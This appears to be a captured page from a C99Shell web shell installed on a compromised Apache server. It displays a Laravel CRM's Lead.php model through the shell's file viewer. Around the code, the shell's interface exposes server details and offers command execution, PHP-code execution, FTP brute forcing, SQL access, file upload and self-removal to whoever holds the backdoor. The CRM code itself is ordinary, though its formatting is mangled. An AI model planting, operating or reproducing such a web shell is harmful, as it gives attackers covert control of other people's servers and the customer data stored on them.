!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Lead/src/Models/   drwxrwxrwx
Free 13.18 GB of 57.97 GB (22.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Lead.php (3.87 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Lead\Models;

use 
Carbon\Carbon;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Database\Eloquent\Relations\BelongsTo;
use 
Illuminate\Database\Eloquent\Relations\BelongsToMany;
use 
Illuminate\Database\Eloquent\Relations\HasMany;
use 
Webkul\Activity\Models\ActivityProxy;
use 
Webkul\Activity\Traits\LogsActivity;
use 
Webkul\Attribute\Traits\CustomAttribute;
use 
Webkul\Contact\Models\PersonProxy;
use 
Webkul\Email\Models\EmailProxy;
use 
Webkul\Lead\Contracts\Lead as LeadContract;
use 
Webkul\Quote\Models\QuoteProxy;
use 
Webkul\Tag\Models\TagProxy;
use 
Webkul\User\Models\UserProxy;

class 
Lead extends Model implements LeadContract
{
    use 
CustomAttributeLogsActivity;

    
/**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    
protected $fillable = [
        
'title',
        
'description',
        
'lead_value',
        
'status',
        
'lost_reason',
        
'expected_close_date',
        
'closed_at',
        
'user_id',
        
'person_id',
        
'lead_source_id',
        
'lead_type_id',
        
'lead_pipeline_id',
        
'lead_pipeline_stage_id',
    ];

    
/**
     * Cast the attributes to their respective types.
     *
     * @var array
     */
    
protected $casts = [
        
'closed_at'           => 'datetime:D M d, Y H:i A',
        
'expected_close_date' => 'date:D M d, Y',
    ];

    
/**
     * The attributes that are appended.
     *
     * @var array
     */
    
protected $appends = [
        
'rotten_days',
    ];

    
/**
     * Get the user that owns the lead.
     */
    
public function user(): BelongsTo
    
{
        return 
$this->belongsTo(UserProxy::modelClass());
    }

    
/**
     * Get the person that owns the lead.
     */
    
public function person(): BelongsTo
    
{
        return 
$this->belongsTo(PersonProxy::modelClass());
    }

    
/**
     * Get the type that owns the lead.
     */
    
public function type(): BelongsTo
    
{
        return 
$this->belongsTo(TypeProxy::modelClass(), 'lead_type_id');
    }

    
/**
     * Get the source that owns the lead.
     */
    
public function source(): BelongsTo
    
{
        return 
$this->belongsTo(SourceProxy::modelClass(), 'lead_source_id');
    }

    
/**
     * Get the pipeline that owns the lead.
     */
    
public function pipeline(): BelongsTo
    
{
        return 
$this->belongsTo(PipelineProxy::modelClass(), 'lead_pipeline_id');
    }

    
/**
     * Get the pipeline stage that owns the lead.
     */
    
public function stage(): BelongsTo
    
{
        return 
$this->belongsTo(StageProxy::modelClass(), 'lead_pipeline_stage_id');
    }

    
/**
     * Get the activities.
     */
    
public function activities(): BelongsToMany
    
{
        return 
$this->belongsToMany(ActivityProxy::modelClass(), 'lead_activities');
    }

    
/**
     * Get the products.
     */
    
public function products(): HasMany
    
{
        return 
$this->hasMany(ProductProxy::modelClass());
    }

    
/**
     * Get the emails.
     */
    
public function emails(): HasMany
    
{
        return 
$this->hasMany(EmailProxy::modelClass());
    }

    
/**
     * The quotes that belong to the lead.
     */
    
public function quotes(): BelongsToMany
    
{
        return 
$this->belongsToMany(QuoteProxy::modelClass(), 'lead_quotes');
    }

    
/**
     * The tags that belong to the lead.
     */
    
public function tags(): BelongsToMany
    
{
        return 
$this->belongsToMany(TagProxy::modelClass(), 'lead_tags');
    }

    
/**
     * Returns the rotten days
     */
    
public function getRottenDaysAttribute()
    {
        if (! 
$this->stage) {
            return 
0;
        }

        if (
in_array($this->stage->code, ['won''lost'])) {
            return 
0;
        }

        if (! 
$this->created_at) {
            return 
0;
        }

        
$rottenDate $this->created_at->addDays($this->pipeline->rotten_days);

        return 
$rottenDate->diffInDays(Carbon::now(), false);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--